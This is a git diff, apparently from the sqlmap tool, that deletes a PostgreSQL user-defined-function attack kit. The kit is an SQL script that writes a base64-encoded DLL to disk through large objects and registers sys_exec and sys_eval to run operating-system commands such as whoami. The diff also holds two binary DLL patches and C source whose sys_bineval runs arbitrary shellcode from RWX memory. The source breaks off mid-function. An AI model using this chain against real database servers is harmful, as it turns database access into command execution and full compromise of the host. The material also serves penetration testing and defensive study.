AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
--- UPDATE udftest SET data=data||'AAAAAAAAAAAEAAAAAAABABgAAAAYAACAAAAAAAAAAAAEAAAAAAABAAIAAAAwAACAAAAAAAAAAAAEAAAAAAABAAkEAABIAAAAXIAAAFYCAADkBAAAAAAAAFhAAAA8YXNzZW1ibHkgeG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYxIiBtYW5pZmVzdFZlcnNpb249IjEuMCI+DQogIDx0cnVzdEluZm8geG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4NCiAgICA8c2VjdXJpdHk+DQogICAgICA8cmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSI+PC9yZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbD4NCiAgICAgIDwvcmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICA8L3NlY3VyaXR5Pg0KICA8L3RydXN0SW5mbz4NCiAgPGRlcGVuZGVuY3k+DQogICAgPGRlcGVuZGVudEFzc2VtYmx5Pg0KICAgICAgPGFzc2VtYmx5SWRlbnRpdHkgdHlwZT0id2luMzIiIG5hbWU9Ik1pY3Jvc29mdC5WQzkwLkNSVCIgdmVyc2lvbj0iOS4wLjIxMDIyLjgiIHByb2Nlc3NvckFyY2hpdGVjdHVyZT0ieDg2IiBwdWJsaWNLZXlUb2tlbj0iMWZjOGIzYjlhMWUxOGUzYiI+PC9hc3NlbWJseUlkZW50aXR5Pg0KICAgIDwvZGVwZW5kZW50QXNzZW1ibHk+DQogIDwvZGVwZW5kZW5jeT4NCjwvYXNzZW1ibHk+UEEAAAAAAAAAAAAAAAAsgwAABIMAAAAAAAAAAAAAAAAAADmDAAAcgwAAAAAAAAAAAAAAAAAARYMAACSDAAAAAAAAAAAAAAAAAAAAAAAA';
--- UPDATE udftest SET data=data||'AAAAAFKDAABggwAAcIMAAICDAACOgwAAAAAAAJyDAAAAAAAAooMAAAAAAABLRVJORUwzMi5ETEwATVNWQ1I5MC5kbGwAcG9zdGdyZXMuZXhlAAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAAVmlydHVhbFByb3RlY3QAAFZpcnR1YWxBbGxvYwAAVmlydHVhbEZyZWUAAABmcmVlAABwZnJlZQAAAAAAAABTHoNJAAAAAAaEAAABAAAABQAAAAUAAADUgwAA6IMAAPyDAAAAEAAAkBAAABAQAACgEAAAIBAAACCEAAAuhAAAQIQAAFKEAABbhAAAAAABAAIAAwAEAGxpYl9wb3N0Z3Jlc3FsdWRmX3N5cy5kbGwAUGdfbWFnaWNfZnVuYwBwZ19maW5mb19zeXNfZXZhbABwZ19maW5mb19zeXNfZXhlYwBzeXNfZXZhbABzeXNfZXhlYwAAcAAAEAAAAC07KD0sPQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
-
-
--- Create a new OID for a large object, it implicitly adds an entry in the
--- PostgreSQL large objects system table
---
--- References:
--- http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
--- http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
-SELECT lo_unlink(35817);
-SELECT lo_create(35817);
-
-
--- Update the PostgreSQL system large objects table assigning to the just
--- created OID the binary (base64 decoded) UDF as data
---
--- Refereces:
--- http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql
-UPDATE pg_largeobject SET data=(DECODE((SELECT data FROM udftest), 'base64')) WHERE loid=35817;
-
-
--- Export the binary UDF OID to a file on the file system
---
--- Any folder where postgres user has read/write/execute access is valid
--- SELECT lo_export(35817, E'C:\\Documents and Settings\\postgres\\lib_postgresqludf_sys.dll');
---
--- Notes:
--- If the library file already exists, the user postgres does not have
--- access to overwrite it
--- The following enumerates the PostgreSQL data directory
--- SELECT CURRENT_SETTING('data_directory')
--- Reference:
--- http://www.postgresql.org/docs/8.3/interactive/functions-admin.html
--- The following will save into C:\Program Files\PostgreSQL\8.3\data
-SELECT lo_export(35817, 'lib_postgresqludf_sys.dll'); -- Favourite one, no need to enumerate the PostgreSQL data directory before
--- The following will save into nowhere
--- SELECT lo_export(35817, E'\lib_postgresqludf_sys.dll');
--- The following would save into C:\ (Permission denied)
--- SELECT lo_export(35817, E'\\lib_postgresqludf_sys.dll');
-
-
--- Create two functions from the binary UDF file
--- CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS E'C:\\Documents and Settings\\postgres\\lib_postgresqludf_sys.dll', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
--- CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS E'C:\\Documents and Settings\\postgres\\lib_postgresqludf_sys.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
-CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
-CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS 'lib_postgresqludf_sys.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
-
-
--- Test the two functions
-SELECT sys_exec('echo test > %TEMP%/lib_postgresqludf_sys.txt'); -- %TEMP% path is C:\Documents and Settings\postgres\Local Settings\Temp
-SELECT sys_eval('echo %TEMP% && whoami');
-
-
--- Cleanup the file system and the database
-SELECT sys_exec('del %TEMP%\\lib_postgresqludf_sys.*');
-DROP TABLE IF EXISTS udftest;
-DROP FUNCTION IF EXISTS sys_exec(text);
-DROP FUNCTION IF EXISTS sys_eval(text);
diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/dll/8.2/lib_postgresqludf_sys.dll b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/dll/8.2/lib_postgresqludf_sys.dll
deleted file mode 100755
index 49e5f813078933329f91b93a885cbf32c945ac0f..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001
literal 6144
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
Zs_&?6TKLO^6R(t>e
diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/dll/8.3/lib_postgresqludf_sys.dll b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/dll/8.3/lib_postgresqludf_sys.dll
deleted file mode 100755
index a4935bcc8e02f13487cfc6b983e4f4e5dd8f9eb0..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001
literal 6144
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
a*tPbid3Kz5iE}RcVzfi@ugm{&2L2B6(_fST
diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/lib_postgresqludf_sys.sql b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/lib_postgresqludf_sys.sql
deleted file mode 100644
index f5b12056c..000000000
--- a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/lib_postgresqludf_sys.sql
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
- Copyright (C) 2009 Bernardo Damele A. G.
- web: http://bernardodamele.blogspot.com/
- email: bernardo.damele@gmail.com
-
- This library is free software; you can redistribute it and/or
- modify it under the terms of the GNU Lesser General Public
- License as published by the Free Software Foundation; either
- version 2.1 of the License, or (at your option) any later version.
-
- This library is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
- Lesser General Public License for more details.
-
- You should have received a copy of the GNU Lesser General Public
- License along with this library; if not, write to the Free Software
- Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-*/
-
-CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
-CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS 'lib_postgresqludf_sys.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
-CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.2/lib_postgresqludf_sys.c b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.2/lib_postgresqludf_sys.c
deleted file mode 100755
index ffc890e9c..000000000
--- a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.2/lib_postgresqludf_sys.c
+++ /dev/null
@@ -1,192 +0,0 @@
-/*
- lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
- Copyright (C) 2009 Bernardo Damele A. G.
- web: http://bernardodamele.blogspot.com/
- email: bernardo.damele@gmail.com
-
- This library is free software; you can redistribute it and/or
- modify it under the terms of the GNU Lesser General Public
- License as published by the Free Software Foundation; either
- version 2.1 of the License, or (at your option) any later version.
-
- This library is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
- Lesser General Public License for more details.
-
- You should have received a copy of the GNU Lesser General Public
- License along with this library; if not, write to the Free Software
- Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-*/
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-#define _USE_32BIT_TIME_T
-#define DLLEXP __declspec(dllexport)
-#define BUILDING_DLL 1
-#else
-#define DLLEXP
-#include
-#include
-#include
-#include
-#endif
-
-#include
-#include
-#include
-#include
-
-#include
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-DWORD WINAPI exec_payload(LPVOID lpParameter);
-#endif
-
-#ifdef PG_MODULE_MAGIC
-PG_MODULE_MAGIC;
-#endif
-
-PG_FUNCTION_INFO_V1(sys_exec);
-extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
- text *argv0 = PG_GETARG_TEXT_P(0);
- int32 argv0_size;
- int32 result = 0;
- char *command;
-
- argv0_size = VARSIZE(argv0) - VARHDRSZ;
- command = (char *)malloc(argv0_size + 1);
-
- memcpy(command, VARDATA(argv0), argv0_size);
- command[argv0_size] = '\0';
-
- /*
- Only if you want to log
- elog(NOTICE, "Command execution: %s", command);
- */
-
- result = system(command);
- free(command);
-
- PG_FREE_IF_COPY(argv0, 0);
- PG_RETURN_INT32(result);
-}
-
-PG_FUNCTION_INFO_V1(sys_eval);
-extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
- text *argv0 = PG_GETARG_TEXT_P(0);
- text *result_text;
- int32 argv0_size;
- char *command;
- char *result;
- FILE *pipe;
- char line[1024];
- int32 outlen, linelen;
-
- argv0_size = VARSIZE(argv0) - VARHDRSZ;
- command = (char *)malloc(argv0_size + 1);
-
- memcpy(command, VARDATA(argv0), argv0_size);
- command[argv0_size] = '\0';
-
- /*
- Only if you want to log
- elog(NOTICE, "Command evaluated: %s", command);
- */
-
- result = (char *)malloc(1);
- outlen = 0;
-
- pipe = popen(command, "r");
-
- while (fgets(line, sizeof(line), pipe) != NULL) {
- linelen = strlen(line);
- result = (char *)realloc(result, outlen + linelen);
- strncpy(result + outlen, line, linelen);
- outlen = outlen + linelen;
- }
-
- pclose(pipe);
-
- if (*result) {
- result[outlen-1] = 0x00;
- }
-
- result_text = (text *)malloc(VARHDRSZ + strlen(result));
- VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ;
- //SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
- memcpy(VARDATA(result_text), result, strlen(result));
-
- PG_RETURN_POINTER(result_text);
-}
-
-PG_FUNCTION_INFO_V1(sys_bineval);
-extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
- text *argv0 = PG_GETARG_TEXT_P(0);
- int32 argv0_size;
- size_t len;
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
- int pID;
- char *code;
-#else
- int *addr;
- size_t page_size;
- pid_t pID;
-#endif
-
- argv0_size = VARSIZE(argv0) - VARHDRSZ;
- len = (size_t)argv0_size;
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
- // allocate a +rwx memory page
- code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
- strncpy(code, VARDATA(argv0), len);
-
- WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
-#else
- pID = fork();
- if(pID<0)
- PG_RETURN_INT32(1);
-
- if(pID==0)
- {
- page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
- page_size = (len+page_size) & ~(page_size); // align to page boundary
-
- // mmap an rwx memory page
- addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
-
- if (addr == MAP_FAILED)
- PG_RETURN_INT32(1);
-
- strncpy((char *)addr, VARDATA(argv0), len);
-
- ((void (*)(void))addr)();
- }
-
- if(pID>0)
